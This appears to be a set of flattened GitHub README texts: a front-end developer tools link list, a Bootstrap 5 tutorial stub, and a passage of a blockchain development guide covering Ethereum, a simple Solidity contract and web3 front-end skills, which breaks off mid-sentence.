Frontend-Tools | front end developers tools all tools and technologies needed for front end developers orderd by my recommendations contributions welcome https img shields io badge contributions welcome brightgreen svg style flat https github com dwyl esta issues contents editors and ides editors and ides css preprocessors and tools css preprocessors and tools html template engines and processors html template engines and processors javascript transpilers and compilers javascript transpilers and compilers design frameworks and ui kits design frameworks and ui kits prototyping and wireframing prototyping and wireframing grid only tools grid only tools task runners and build tools task runners and build tools test performance test performance scaffolding tools scaffolding tools websites for icons websites for icons placeholder image services placeholder image services compare code compare code websites to test your code websites to test your code version controls version controls references references unit testing and automation tools unit testing and automation tools developments communities developments communities websites to follow websites to follow developments news developments news famous cms famous cms courses websites courses websites productivity tools productivity tools maps for web maps for web editors and ides all the famous editors you need to start working on your projects vscode https code visualstudio com free atom https atom io free recommended packages atom recommended packages recommended themes atom recommended themes sublimetext http www sublimetext com coda https panic com coda komodoedit https www activestate com products komodo ide downloads edit free brackets http brackets io free notepad https notepad plus plus org free vim https www vim org free php storm https www jetbrains com phpstorm web storm https www jetbrains com webstorm aptanastudio http www aptana com free css preprocessors and tools css preprocessing tools help you do your work fast easy and more dynamic with a hard chance to fail when writing css code although save you time and make you focus on other things sass https sass lang com less http lesscss org stylus http stylus lang com compass http compass style org postcss https github com postcss postcss myth http www myth io css crush http the echoplex net csscrush clay http fvisser nl clay pleeease http pleeease io css next https cssnext github io style cow http stylecow github io html template engines and processors template engines help you do your work fast easy and more dynamic with a hard chance to fail when writing html code although save you time and make you focus on other things pugjs https pugjs org api getting started html slim http slim lang com haml http haml info tutorial html mustache https mustache github io handlebars http handlebarsjs com nunjucks https mozilla github io nunjucks ect http ectjs com template7 http idangero us template7 xjc pcgzauk squirrelly https squirrelly js org marko https github com marko js marko blade https github com bminer node blade html ready template to start projects html5boilerplate https html5boilerplate com html5bones https html5bones com javascript transpilers and compilers it gives you the ability to write modern javascript code and use the features of es6 7 8 babel js https babeljs io caja https developers google com caja coffeescript https coffeescript org typescript http www typescriptlang org traceur https github com google traceur compiler design frameworks and ui kits all frameworks and ui kits that help you create a cool websites and save you time and power bootstrap https getbootstrap com semantic ui https semantic ui com foundation https foundation zurb com pure https purecss io materializecss https materializecss com html kickstart http www 99lime com elements groundwork https groundworkcss github io skeleton http getskeleton com beared http buildwithbeard com bulma https bulma io tachyons http tachyons io tailwind https tailwindcss com docs what is tailwind milligram https milligram io ui kit https getuikit com kube https imperavi com kube kickoff http trykickoff com bootflat https bootflat github io base https getbase org concise https concisecss com base toolkit http basscss com picni css https picnicss com spectre https picturepan2 github io spectre prototyping and wireframing balsamiq https balsamiq com uxpin https www uxpin com wireframe https wireframe cc axure https www axure com justinmind https www justinmind com fluidui https www fluidui com pidoco https pidoco com en grid only tools only grids systems if you don t want to use framework components grid guide http grid guide 960 grid https 960 gs jeet http jeet gs simplegrid https thisisdallas github io simple grid deal with colours websites to deal with colors and choose combinations and test colours adobe kuler https color adobe com create color wheel material https material io collections color coolors https coolors co 161925 23395b 406e8e 8ea8c3 cbf7ed clrs http clrs cc sipapp http sipapp io palettable https www palettable io edf2ca webgradients https webgradients com task runners and build tools gulpjs https gulpjs com webpack http webpack github io yarn https yarnpkg com en gruntjs https gruntjs com brunch https brunch io broccoli https github com broccolijs broccoli parcel https parceljs org taskr https github com lukeed taskr test performance tools to help you test your website speed performance and accessibility gtmetrix https gtmetrix com pingdom tools https tools pingdom com key cdn https tools keycdn com speed page speed insights https developers google com speed pagespeed insights web page test https www webpagetest org dot com tools https www dotcom tools com website speed test aspx chrome dev tools https developers google com web tools chrome devtools hl en scaffolding tools websites for icons the noun project https thenounproject com flaticon https www flaticon com fontawesome https fontawesome com material icons https material io tools icons placeholder image services picsum https picsum photos lorempixel http lorempixel com imgplaceholder https imgplaceholder com dummysrc https dummysrc com ipsumimage https ipsumimage appspot com placeimg https placeimg com dummyimage https dummyimage com fakeimageplease https fakeimg pl placeholder https placeholder com place hold https place hold it placehold http placehold jp en html compare code mergely http www mergely com editor diffchecker https www diffchecker com text compare https text compare com diffnow https www diffnow com compare clips quickdiff https www quickdiff com filldiff https codebeautify org file diff websites to test your code codepen https codepen io codesandbox https codesandbox io jsfiddle https jsfiddle net cssdeck http cssdeck com liveweave https liveweave com jsbin https jsbin com plnkr http plnkr co edit p catalogue version controls git https git scm com github https github com bitbucket https bitbucket org product gitlab https about gitlab com phabricator https secure phabricator com mercurial https www mercurial scm org apache subversion https subversion apache org references mdn https developer mozilla org en us html5please https html5please com caniuse https caniuse com w3schools https www w3schools com html elements https html spec whatwg org multipage indices html elements 3 html reference https htmlreference io css index https drafts csswg org indexes css4 http css4 rocks css4 selectors https css4 selectors com css values https cssvalues com css triggers https csstriggers com css3 test https css3test com css reference https cssreference io unit testing and automation tools jest https jestjs io ava https github com avajs ava jasmine https jasmine github io mocha https mochajs org tape https github com substack tape cypress https snipcart com blog frontend testing cypress webdriver https webdriver io test cafe https github com devexpress testcafe casperjs http casperjs org nightmare https github com segmentio nightmare ghost inspector https ghostinspector com backstop https github com garris backstopjs browserstack https www browserstack com browserling https www browserling com gremlins https github com marmelab gremlins js night watch http nightwatchjs org developments communities hashnode https hashnode com front end front https frontendfront com refind https refind com stackoverflow https stackoverflow com sitepoint https www sitepoint com community websites to follow smashing magazine https www smashingmagazine com css tricks https css tricks com codrops https tympanus net codrops scotch https scotch io a list apart https alistapart com davidwalsh https davidwalsh name daverupert https daverupert com brianlovin https brianlovin com devto https dev to developments news front end focus https frontendfoc us friday front end https fridayfrontend com dev tips https umaar com dev tips fresh brewed https freshbrewed co web develop reading list https wdrl info web ops https webopsweekly com web tools weekly https webtoolsweekly com famous cms processwire https processwire com wordpress https wordpress org joomla https joomla org drupal https www drupal org concrete5 https concrete5 org octobercms https octobercms com typo3 https typo3 org contentful https contentful com adobe experience manager https www adobe com marketing experience manager html prestashop https prestashop com sitefinity https www progress com sitefinity cms courses websites udacity https www udacity com lynda https www lynda com coursera https www coursera org teamtreehouse https teamtreehouse com udemy https www udemy com edx https www edx org egghead https egghead io freecodecamp https www freecodecamp org pluralsight https www pluralsight com codeschool leveluptuts https www leveluptutorials com teachable https teachable com productivity tools trello https trello com todoist https todoist com wunderlist https www wunderlist com evernote https evernote com asana https asana com slack https slack com discord https discordapp com maps apis for web google maps https cloud google com maps platform leaflet https leafletjs com here maps https developer here com microsoft bing maps https www microsoft com en us maps choose your bing maps api openlayers https openlayers org foursquare https developer foursquare com mapbox https docs mapbox com api visual studio code editor recommended extensions live server https marketplace visualstudio com items itemname ritwickdey liveserver prettier code formatter https marketplace visualstudio com items itemname esbenp prettier vscode live share https marketplace visualstudio com items itemname ms vsliveshare vsliveshare live sass compiler https marketplace visualstudio com items itemname ritwickdey live sass vscode icons https marketplace visualstudio com items itemname vscode icons team vscode icons rainbow brackets https marketplace visualstudio com items itemname 2gua rainbow brackets atom recommended extensions atom ternjs https atom io packages atom ternjs linter https atom io packages linter linter ui default https atom io packages linter ui default linter jshint https atom io packages linter jshint script https atom io packages script atom path intellisense https atom io packages atom path intellisense atom live server https atom io packages atom live server atom beautify https atom io packages atom beautify minimap https atom io packages minimap pigments https atom io packages pigments css autoprefixer https atom io packages autoprefixer color picker https atom io packages color picker atom windows titlebar https atom io packages atom windows titlebar atom recommended themes seti ui https atom io themes seti ui seti syntax https atom io themes seti syntax gulpjs recommended packages | front_end |
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Bootstrap-5-Landing-Page-Tutorial | bootstrap 5 landing page tutorial this repository contains a source code to bootstrap 5 landing page tutorial video | tutorial bootstrap5 bootstrap | front_end |
blockchain-development-guide | disclaimer this repo is not maintained with up to date content please visit devpill me https devpill me to read the newest version of this guide devpill me a public good blockchain development guide blockchain development guide nft images blockchain development guide jpg support this public good i m trying to gather resources to fund the development of this public good blockchain development guide and so i got my fren ana rueda ruedart to create this amazing graphic for the mirror nft edition https dcbuilder mirror xyz plnpomkkyap14kja5a5pjgyilg4dwhpjdihs7bgc7j4 the funds will go to the continued development of this guide 90 and to ana for the creation of the art 10 i m open to discussion on how to structure the open collaboration around the guide and to allocating the funds into a community owned multi sig the goal is to use the funds gathered on mirror gitcoin grants round 13 and elsewhere to incentivize developers to create sections through bounty submissions if this idea doesn t gather appeal then i will send the funds to the gitcoin grants matching round so that other public goods get funded links to support the development of the blockchain development guide mirror nfts https dcbuilder mirror xyz plnpomkkyap14kja5a5pjgyilg4dwhpjdihs7bgc7j4 gitcoin grants https gitcoin co grants 4975 devpillme a public good blockchain development gu gitcoin grants round 13 goes from march 9th 24th happens recurrently every 3 months community if you want to contribute to devpill or to discuss any of the topics and resources found in the guide feel free to join our discord https discord gg devpillme and follow us on twitter https twitter com devpillme and lenster https lenster xyz u devpillme lens this repo will not reflect any changes on the devpill me website http devpill me the repo for the site can be found here https github com dcbuild3r devpill me and content with the corresponding markdown files is located in this directory https github com dcbuild3r devpill me tree 9f87bc7c77a5ec897c01f7cfbd9eae8842c260ac content en docs please submit prs there instead as it makes it easier for me to process and review introduction nowadays there are countless well made resources on how to learn blockchain development of all kinds and with different specializations in mind however it is still very hard to get guidance and personalized suggestions based on your interests i am writing this guide in order to provide an aggregator of all the resources that i ve found over the years plus give some opinionated commentary on how to approach them and how to use them in order to maximize learning and practical understanding in order to get building cool things in the space as soon as possible this guide will focus on the ethereum ecosystem as that s where most developers and applications are if you are interested in other ecosystems that are non evm compatible and are not l2s on ethereum then check out their respective documentation or guides written by their developer communities examples of other non evm compatible blockchains that are popular are solana rust anchor polkadot rust substrate cosmos terra and others most of these blockchains do or will support the evm stack through various initiatives like neon evm solana moonbeam moonriver polkadot kusama evmos cosmos etc i really want this guide to become a community sourced public good that everyone will be able to take advantage of i will do my best to present it to the wider blockchain developer community to get constructive feedback proofreading help and insight into how to make it the best available guide available what is blockchain development there are two main categories in my mind either you build the infrastructure that runs blockchain based networks or you build applications that run on top of these decentralized and permissionless networks of course this differentiation doesn t encompass all types of development on blockchains but it is a good way to get started core blockchain development by blockchain infrastructure people usually mean client implementations of blockchain protocols that nodes or validators run to keep the chains running these clients are usually focused on distributed ledger technology networking virtual machines and various other low level types of engineering the client is what enforces the rules of the blockchain protocol runs the consensus mechanism that executes all transactions in the network and makes sure all nodes are in sync and more this is also known as core blockchain development which is not what most devs picture when thinking about blockchain or web3 development in general there are various niches within blockchain development itself as well you can focus on improving execution capabilities with technologies like rollups validiums or volitions you can improve decentralization and security guarantees by innovating on the consensus layer of the protocol etc blockchain api there s also blockchain infrastructure that supports the application layer by providing apis to access blockchain data like oracles for smart contracts indexing services for back ends libraries that allow you to call and listen to smart contract events decentralized storage services and more there are applications that aggregate data from different smart contracts transactions and events on the blockchain to provide useful insight these apps are mostly centered around data analysis and are not necessarily decentralized but require an understanding of the underlying blockchain based technologies blockchain application layer the most popular type of blockchain development is on top of the application layer building decentralized applications dapps can take many different forms but it usually involves a smart contract and a user interface that interacts with that smart contract and listens to changes in the state of the blockchain these applications can serve various use cases and can be used to build decentralized financial services games and so much more if these concepts are completely foreign to you i suggest reading the how to get started section first or google the words you may not understand specializations there are many different specializations within blockchain development each requires a different set of skills however a general understanding of distributed systems basic cryptography and knowing how smart contracts operate is required as a foundation for all of them in this guide i ll try to provide a general overview of each of them as well as give the best guidance i can provide on the resources learners should prioritize and in which order they should take them there are many roles that i m not as familiarized with so feel free to suggest pull requests with changes or dm with suggestions skill based there are different sets of skills required for different specializations the technology stack and knowledge needed are determined by the layer and application that you want to target as a developer i believe that everyone should get a solid general foundation and try out different areas and niches before settling on the main stack they want to focus on some people choose specializations according to the end goal that they want to accomplish using blockchain based technologies others like myself feel like everything is interesting and can t settle on a single one to specialize in when confronted with an analysis paralysis situation this guide will cover these main tracks however anyone is free to submit a pull request to add more or expand on the already existing ones frontend development front end development smart contract development smart contract development backend blockchain development backend development core protocol development core protocol development full stack blockchain development full stack blockchain development cryptography cryptography coming soon security engineer security engineer mev searcher mev searcher cryptography cryptography blockchain data analytics blockchain data analytics application based another way to separate types of blockchain development is not based on the underlying tech stack but on the use case that you are targeting these are the categories that i believe are the most popular however there are many others that i m not covering to keep the scope of this article more manageable coming soon defi defi creator economy creator economy mev mev l2s l2s infrastructure infrastructure gaming gaming development privacy privacy coordination public goods coordination public goods non technical sections getting a job getting a job social capital social capital mastery mastery community community how to get started no matter if you are a beginner programmer or if you ve been coding for years this guide will provide resources for all levels of expertise if there is something that you already know in the specialization roadmaps that i have here feel free to skip the material or use it as an opportunity to review what you already know and potentially fill in some gaps in your understanding blockchain development might seem very intimidating at first there are many moving parts foundational knowledge from various different fields is required the technologies are constantly evolving and aren t as mature as in other areas of development such as in the web development space there is a financial aspect to almost every application as you are programming on top of a value layer etc however it is not as hard as you might think once you get familiarized with the basics understanding everything else that is going on is usually just a matter of applying a general understanding to a specific situation if you build a strong foundation then it will be much easier to process more complex topics and reason about problems relating to a new subject matter if you have a background in computer science mathematics or any related field then you will have a much easier time getting started with blockchain development as many foundational concepts are abstractions of algorithms and data structures if you are a complete beginner then please make sure you take the initial few steps with patience so as to not feel overwhelmed once you start familiarizing yourself with the material you will start to feel like it is more manageable general foundation in order to get started with blockchain development one must first get started with understanding how blockchains work in order to build a mental model of how each moving piece works and to get an understanding of the design principles which will govern your development experience blockchains the term blockchain has two different meanings it can either relate to a data structure or to a computer network a blockchain data structure consists of sets of transactions or data bundled inside a container where each container has a cryptographic hash https www youtube com watch v qj010l pbpe of the data in the previous container block within it if the contents of the previous block change the hash changes as well and thanks to this feature we can assure that the data hasn t been tampered with the second consequence of the blockchain data structure is that it is append only you can t prepend data to it nor modify the data already within it as that would alter the hashes of all the blocks succeeding the ones that have been modified this is why we call blockchains immutable a blockchain network is a network of computers that have a synchronized ledger of transactions that uses the blockchain data structure for storing data usually inside of merkle verkle trees the blockchain is powered by miners validators which operate under a so called consensus algorithm this algorithm helps coordinate who produces and organizes blocks as well as indicating which is the longest chain by updating the head of the blockchain continuously blockchains have 3 main properties which they try to optimize for security decentralization and scalability they achieve security and decentralization through their consensus algorithm where many different parties need to either provide resources mostly in the form of running expensive operations on massive hardware facilities with proof of work https en wikipedia org wiki proof of work pow or by staking economic resources in the network with proof of stake https ethereum org en developers docs consensus mechanisms pos pos the more participants and the more distributed the power dynamics among those participants the more security and decentralization there are many other features that contribute to decentralization like client software which is able to be run on consumer hardware so that anyone can synchronize the state of the blockchain in their nodes minimizing how many transactions you can process per block so as to not make the state of it too big and much more further reading in order to understand how blockchains work beyond my simple explanation here read and watch the following resources blockchain explained investopedia https www investopedia com terms b blockchain asp blockchain 101 anders brownworth https www youtube com watch v 160omzbly8 but how does bitcoin actually work 3blue1brown https www youtube com watch v bbc nxj3ng4 optional cultural significance bitcoin whitepaper https bitcoin org bitcoin pdf ethereum since this is a guide about blockchain development on ethereum it is required to know how the ethereum blockchain works and the changes that it will undergo in the future so as to be prepared for what s to come as a developer if you have done web development before you can think of changes as a new ecmascript standard a new browser compile target ie wasm a new engine v8 etc the ethereum blockchain is constantly evolving and quite a few changes will be put in place in the future before the core technologies of the network will start to ossify a good way to get started with how ethereum works is to watch austin griffith https twitter com austingriffith s eth build youtube playlist https www youtube com playlist list pljz1hruenencxh7kw7wbcebnblovkiqii where he illustrates how various parts of the ethereum blockchain work in the ethereum universe there is a single canonical turing complete computational universal computer called the ethereum virtual machine or evm whose state everyone on the ethereum network agrees on everyone who participates in the ethereum network every ethereum node keeps a copy of the state of this computer additionally any participant can broadcast a request for this computer to perform arbitrary computation whenever such a request is broadcast other participants on the network verify validate and carry out execute the computation this execution causes a state change in the evm which is committed and propagated throughout the entire network source ethereum org documentation https ethereum org en developers docs in order to learn the basics of ethereum go through the ethereum org documentation https ethereum org en developers docs here are links for each section intro to ethereum https ethereum org en developers docs intro to ethereum intro to ether https ethereum org en developers docs intro to ether intro to dapps https ethereum org en developers docs dapps web2 vs web3 https ethereum org en developers docs web2 vs web3 accounts https ethereum org en developers docs accounts transactions https ethereum org en developers docs transactions ethereum virtual machine evm https ethereum org en developers docs blocks gas https ethereum org en developers docs evm skip the opcodes section we ll revisit that later nodes and clients https ethereum org en developers docs gas networks https ethereum org en developers docs nodes and clients consensus mechanisms https ethereum org en developers docs consensus mechanisms governance eip process https ethereum org en governance ethereum roadmap endgame this graphic https github com dcbuild3r blockchain development guide blob main images ethereum roadmap png shows all the different changes which are being implemented to ethereum in the upcoming years it s not necessary to understand what this is all about but it is good to know about i suggest watching the video resource appended after the graphic to learn more about what these flowcharts mean further reading ethereum whitepaper https ethereum org en whitepaper why proof of stake vitalik buterin https vitalik ca general 2020 11 06 pos2020 html smart contracts a smart contract is a program that runs on the ethereum blockchain it s a piece of code that has functions and data state which resides at a specific address on the ethereum blockchain smart contracts are a type of ethereum account https ethereum org en developers docs accounts meaning that they have a balance and can send transactions over the network they are deployed on the network and run as programmed user accounts externally owned accounts or eoas can interact with a smart contract by submitting transactions that interact with functions that are publicly accessible smart contracts can be used to define rules which are enforced via code e g a smart contract that allows for two parties to swap their tokens like uniswap how do i create a smart contract the most popular smart contract programming language which targets the ethereum virtual machine is solidity https docs soliditylang org it is a high level language that was influenced by c python and javascript and so its syntax looks familiar solidity is statically typed supports inheritance libraries user defined types and more solidity is a compiled language which means that before having a runnable smart contract a solidity program needs to be run through a compiler that generates a low level interpretation which is called bytecode bytecode are instructions that the evm can understand and execute there are other languages that can be used to target the evm like vyper https vyper readthedocs io en stable toctree html and fe https fe lang org that have their pros and cons however they don t have as robust development ecosystems and aren t as widely used by projects deployed in production here s how a simple counter program https solidity by example org first app would look like in solidity js spdx license identifier mit pragma solidity 0 8 10 contract counter uint private count function to get the current count function get public view returns uint return count function to increment count by 1 function inc public count 1 function to decrement count by 1 function dec public count 1 in the beginning you declare the version of solidity you are using the pragma solidity version keyword to indicate the creation of a contract you write it using the contract contractname form within the contract curly brackets the logic of the program is declared we then declare a simple private variable with the name count with unsigned integer type meaning it can only hold positive integers private functions and state variables are only visible for the contract they are defined in and not in derived contracts afterward we declare three different functions one to retrieve the value held inside of the count variable one to increase the variable s value by one and the last one to decrement its value the public keyword specifies that the function can be called by any address on the blockchain be it a smart contract or a user owned account the view modifier specifies that the function doesn t alter the state within the contract it only reads values already available the returns keyword is used to specify the type of the object that is returned back by the function unsigned integer type in the case of the get function everything which is written after a is considered a comment and is ignored by the solidity compiler comments are used to make the code more readable and manageable which is especially helpful if you are working with teams or revisit a codebase after some time it also acts as documentation for what the code it is doing how do i compile and deploy my first contract in order to compile and deploy our first smart contract we will use the remix ide which is a website where we can write smart contracts compile them and deploy them on a local instance of the evm we can also interact with the local deployed smart contract to test out its functionality to deploy our simple counter contract go to remix https remix ethereum org add a new file in the contracts directory name it counter sol and copy paste the code in the counter example https solidity by example org first app now click on the second icon from the top in the selection bar on the left it is the logo of the solidity programming language and it symbolizes the solidity compiler in remix in the compiler dropdown select 0 8 10 which is the solidity version in our smart contract and click compile counter sol after you have compiled your contract click on the third icon from the top it should have the deploy run transactions name click deploy after you have deployed you should see a list item with counter at 0x memory you ve successfully compiled and deployed your first smart contract now that you have it deployed you can interact with it by calling the inc or dec functions to increase or decrease the value of the count variable you can call the get function to retrieve the value of the count variable remix images remix png we will go into a lot more depth on how smart contracts are programmed tested and deployed in the smart contract development section web 2 0 although blockchain developers build decentralized applications the technologies used to build these applications overlap to a big extent user interfaces for dapps are hosted on the internet and are built with traditional web technologies in order to interact with a smart contract a user needs to submit a request to a server that hosts an application and that application needs to create a transaction get the signature from a user via a web3 wallet like metamask and then submit the transaction to an ethereum rpc the transaction then goes to the mempool gets picked up by a miner pow validator pos gets executed and included in the blockchain and the user interface updates once the blockchain emits an event with a successful call of a function inside of a smart contract this is the usual flow that decentralized applications have any blockchain developer that wants to build full stack applications needs to know how the internet and its most important protocols work as well as how to build user interfaces for all the major platforms web mobile etc you can think of web3 as adding a native value layer to the internet it also helps with social coordination and resource allocation with the decentralized autonomous organization structure it is very helpful to know how the web and the existing technologies built on top of it work and understand how crypto and web3 work in order to create better applications i believe that even though you might not work with developing front ends it is still good to know how they work on a foundational level as in almost all kinds of development you ll interface with the web in some form a good learning roadmap for the basics of how web technologies work is the roadmap sh frontend https roadmap sh frontend initial steps in the roadmap it is also a must to learn how to version control your code git is the most popular version control and collaboration software along with github gitlab for hosting repositories and interacting with other coders frontend roadmap images fe roadmap png learning resources how does the internet work https www youtube com watch v zn8ynnhcazc cs50 http lecture https www youtube com watch v pupdgbnpsjw the cs50 course https www edx org course introduction computer science harvardx cs50x on edx is a great intro into computer science freecodecamp https www freecodecamp org here you can learn the basics of how html css and js works unless you re planning to write frontend interfaces you won t need it but it s still good to experiment and learn how it works what makes decentralization important in the web 2 0 world we re used to have a main account on platforms like google and facebook which we use to log into other services all of our data is hosted inside of centralized databases and our private information is used in advertising software to sell us products in exchange for our data we get free services these big centralized entities have a lot of power and control over our daily lives through the products we use each and every day this is the business model which has worked for the past few decades when you decentralize the services and become a sovereign user you can t be de platformed censored or exploited as long as you have access to a computer and to the internet you can use any application running on a permissionless and decentralized blockchain nobody can block access to them fundamentally because you can always run a node and submit a call a smart contract and submit a transaction in the blockchain network decentralized applications are still in their infancy and many technologies are still not mature enough to support mainstream adoption however there is a huge demand for these applications and the industry is evolving rapidly in a web3 world users own their assets their money their identity and their data this allows for a better user experience fundamentally and even practically once these technologies become mature enough to support the masses you can eventually have applications like decentralized social networks where users own their content artists and musicians can produce their artwork and sell it as nfts and get revenue from royalties and better engaging with their audiences you can have virtual worlds where people own their digital identity their virtual items and their land etc the possibilities in web3 are growing day by day and i think it is one of the most exciting technologies that humankind has ever devised it unlocks so much potential web3 values the web3 movement is one about creating a value layer for the internet where we can setup incentive structures for the betterment of society in order to make a fairer world where access to products and services is openly distributed permissionless and accessible to everyone on the planet no matter their provenance there are many good initiatives like kernel https kernel community en gitcoin https gitcoin co greenpill https greenpill party and many others that try to help educate about and fund the new wave of public goods and inrastructure in order to create a better world as a blockchain developer it is good to get a feeling for why these systems are built out in the first place and the values the products and services we create embody so as to not recreate the centralized web2 world we currently have in order to learn more about web3 values and how we can create a fairer world go over kernel s web3 lessons https kernel community en learn play around blockchain development might feel overwhelming and frankly very intimidating when you are starting out to remedy this feeling i suggest you look at programming on blockchains like an adventure game you can explore what is possible experiment by creating small projects with technologies that you find interesting looking at what other people are building and interacting with their applications debate with various people about their favorite applications technologies and get a feel for how everything works as you progress through this guide you ll start going deeper into various different fields there is a myriad of interesting primitives in web3 and types of applications you could build and so to pick what to specialize in from the get go is very hard unless you have a clear goal in mind from the get go which is quite rare i personally think that trying everything that interests you if at least for a short while can get you a glimpse into that field and give you insight on whether you d like to focus on that particular area for this i suggest getting into different developer and research groups and talking about how is it like building those things what are the types of problems you would be working on how does one get better in that field what is there to work on etc one of my favorite such groups is newt https twitter com wearenewt which is aave s experimentation branch newt is completely community driven and tries to promote open source experimentation where the community is welcome to contribute to existing experiments or create their own here you can meet like minded developers build cool projects explore different areas of development and different fields within web3 such as defi nfts and more developerdao https twitter com developer dao and ethernautdao https twitter com ethernautdao are also good developer communities where you can search for like minded individuals and explore the possibilities of what s possible in web3 and potentially even getting full time job offerings connect blockchain development is a fairly new field and so most information about how to build applications in web3 is available on the internet and not in universities and other educational institutions this might make it a lonely endeavor but it need not be there are people all across the world learning how to build cool projects with these technologies and everyone is looking to learn from each other and make friends in the space as mentioned before join daos and groups like newt developerdao ethernautdao etc talk about your learning journey on twitter and try to provide insight into your experience with learning these technologies you re bound to find like minded individuals with whom you can share your interests it helps a lot with learning the material as when you have to explain a complex topic to a person without former knowledge it forces you to understand your subject very well in order to explain it simply pair programming or pair learning is also a good way to cement new learnings personally i found that making friends online that are also into blockchain development is what made it the most fun and engaging for me and is helping me stick with the material for longer periods of time than i otherwise would have twitter is currently the platform where most builders researchers and creators share their insights in the realm of blockchain and web3 so it is almost a must if you want to keep up with the newest technologies i also recommend to not overdoing social media as it can lead to a drastic decrease in productivity it s a balance that needs to be achieved over time a good tip is that whenever you want to check twitter or discord you have a clear goal in mind e g goal i want to learn what new gas optimizations have my friends come up with i also recommend creating lists with different types of people so you can sort by the type of content you want to see defi nfts mev smart contracts frontend design etc bookmarking is also a good feature if you want to revisit interesting tweets in the future another great way to meet devs is to go to hackathons and conferences if you can afford to go to events then definitely do however if you don t have enough funds there are oftentimes grants for first time attendees through places like padawandao https twitter com padawandao and others usually asking around to volunteer will get you a free entrance and people are usually kind enough to pool funds to sponsor people looking to get into the space that doesn t have the means to afford to travel by themselves in person events like hackathons are a great way to develop your skills and meet people it s where many projects that are popular today were started and the place where founders of projects usually meet for the first time as for events worth going to in 2022 i suggest devconnect https twitter com efdevconnect amsterdam ethprague https twitter com ethprague ethcc https twitter com ethcc ethparis https twitter com ethparis and devcon https twitter com efdevcon bogota here is a good list https docs google com spreadsheets d 1neu fcc1hngaurgpmbxxpf0h2lcrcolmkbbfeqgkvdq edit gid 0 with ethereum related events in 2022 there are also events on pretty much every continent and there are also small local events that different communities organize so look for events near you that might be related to blockchain development in some way or start one yourself i also recently started creating a twitter list with blockchain devs https twitter com i lists 1483458041412526084 that i think you should follow if you want to learn blockchain development it is a running list so feel free to dm me devs i should add and i ll consider adding them to the list build the next and final step to get started with blockchain development should be obvious by now it is to actually start building after you ve gone through the introductory foundational material that i wrote in the sections above you are ready to get going with one of the specializations listed below if you are not sure which one you re into yet just go with full stack blockchain development and you ll get to try a bit of everything start writing code no matter how bad it is and try to get feedback on it from devs that know more than you do go through the roadmap that i have specified below learn a concept take notes build something around it do some testing and move on if there is something that catches your attention then try building something with it and see where it takes you your own curiosity and interest are your best friend when learning blockchain development you should constantly ask yourself why did the thing that i wrote worked and how i could make it better if you can t come up with an answer you either ask someone for an explanation or for a code review it is also good to review quality code written by other teams if you are learning solidity for example the best way to learn advanced solidity is to read into production codebases like aave v3 uniswap v3 balancer v2 etc the same principle applies to other categories and specializations as well once you build something share it with the world unless it s a very profitable mev bot sharing it on twitter and different discords will bring attention to what you re doing and you might get constructive feedback and or meet new friends that are interested in what you are building if you are building something more complex try creating documentation for it or make some useful comments if you expect other people to read your code it is also great to share code and make it publicly available on hosting platforms like github to build a portfolio of projects which you can showcase in order to show other people when applying for job positions i ll revisit how to get employment in web3 in a later section skill based development now we get down to different specializations before getting started looking at different paths you can take make sure you ve gone through the foundational section general foundation i also suggest reading the introduction to each specialization in both the skill based development skill based development and application based development application based development categories so that you have a better idea of what s out there and what you might find interesting before going deeper into any specifical one this section will focus on categorizing specializations in blockchain development with regard to the skillsets required within them front end development front end fe development is highly reminiscent of traditional web web2 development this includes the technology stack involved in building out user interfaces connected to blockchain technology just like in traditional environments fe blockchain developers are expected to fetch data and interact with apis in order to produce a seamless user experience on a decentralized application as a result of the overlap in these core competencies front end developers are able to leverage a mature ecosystem of tried and true languages libraries and various other tools that will be covered in this section additionally these similarities contribute to a much more frictionless onboarding process for developers who are new to frontend development these developers are able to tap into a mature ecosystem composed of developers who eagerly impart their knowledge via platforms such as stackoverflow https stackoverflow com this also extends to the availability of well produced tutorials and documentation for grasping these well established technologies note however that this is not the norm in such a rapidly emergent ecosystem such as web3 which makes frontend development the most popular choice amongst those new to blockchain technology the key principles of front development require knowing how to structure and style websites how to make them dynamic with javascript and different frameworks how to manage state within applications basic design how to fetch data from apis and databases and how to create good web3 user experiences regarding wallets and the interactions with the smart contract backend of your application one of the biggest differences in web3 fe development is user authentication as instead of logging in with your email and password or your google account you log in with your wallet using a third party application like metamask https metamask io or walletconnect https walletconnect com and protocols like ens https ens domains to display information about the user provided they have an ethereum domain if a smart contract contains a state which represents past interactions with the application by the user you also need to fetch historical data from the blockchain on demand or maintain a local database with indexed data which is easily queriable by the fe of the application as a front end blockchain developer you need to know what a contract application binary interface abi https docs soliditylang org en v0 8 11 abi spec html is in order to be able to interact with smart contracts on the ethereum blockchain or on an l2 like optimism arbitrum starknet or zksync which are ethereum based scaling solutions that we ll cover in the l2 section l2 you also need to query data from various apis to accurately display the price of various assets if applicable the user s balance of erc20 tokens or nfts and various other data you might need from either the blockchain itself or an external database another interesting feature of programming decentralized applications is the need for building applications that are not hosted on a centralized server to remedy this problem many developers have their web interfaces open sourced and have many instances of those interfaces on decentralized storage solutions like ipfs arweave and others in this way if one of the servers hosting the interface to interact with the smart contracts goes down users can interact with it from many other different places it s also amazing that since the functions are able to be called by anyone users can interact with decentralized applications from completely different frontends as long as they have the abi this allows for massive composability which we ll cover a bit later this roadmap will focus on the frontend technologies that i ve seen are mostly used in blockchain development today i ve used the roadmap sh frontend roadmap a friend s tech stack and my experience as a reference for creating this specialization if you are a more experienced reader feel free to suggest pull requests to add edit remove content or you can suggest changes by dming me on twitter or telegram dcbuild3r html css js web apis the pillars of web development technologies are hypertext markup language html cascading style sheets css javascript js and web application programming interfaces apis html https en wikipedia org wiki html is the language that is used to structure websites with html you can insert text images videos create different sections for your website create links to other sites and more css https en wikipedia org wiki css is a styling language that helps you edit how your html elements look how they are displayed and how they are arranged on your screen it is also what makes user interfaces responsive for different devices like mobile tablet laptop desktop and others by providing apis which dynamically resize your html elements based on the width and height of the screen a specific user has javascript https en wikipedia org wiki javascript is a programming language that makes your html elements dynamic it allows for things like complex animations dynamic formatting of elements depending on given inputs state management within your application much more utility thanks to its programmability and more html css and javascript are the only 3 technologies that browsers understand the rest of the technologies mentioned in this specialization end up compiling to an optimized html css and js bundle which the browser can process and interpret the best place to learn the basics of web development in my opinion is freecodecamp https www freecodecamp org where you can do the lessons in the first two sections named responsive web design and javascript algorithms and data structures it says that each section takes about 300 hours each but usually you can do it in much less since it s a conservative estimate after you ve gone through these two sections and made the initial projects that are required to fulfill them you can move on to learning react react in modern web development you ll almost never write vanilla html css and javascript to build your websites web developers learn a view framework that helps them to better structure their code with components and also optimize the way in which components are rendered and how changes to the state of the application affect what the users see the most popular web development framework is react with a wide margin compared to vue js react was 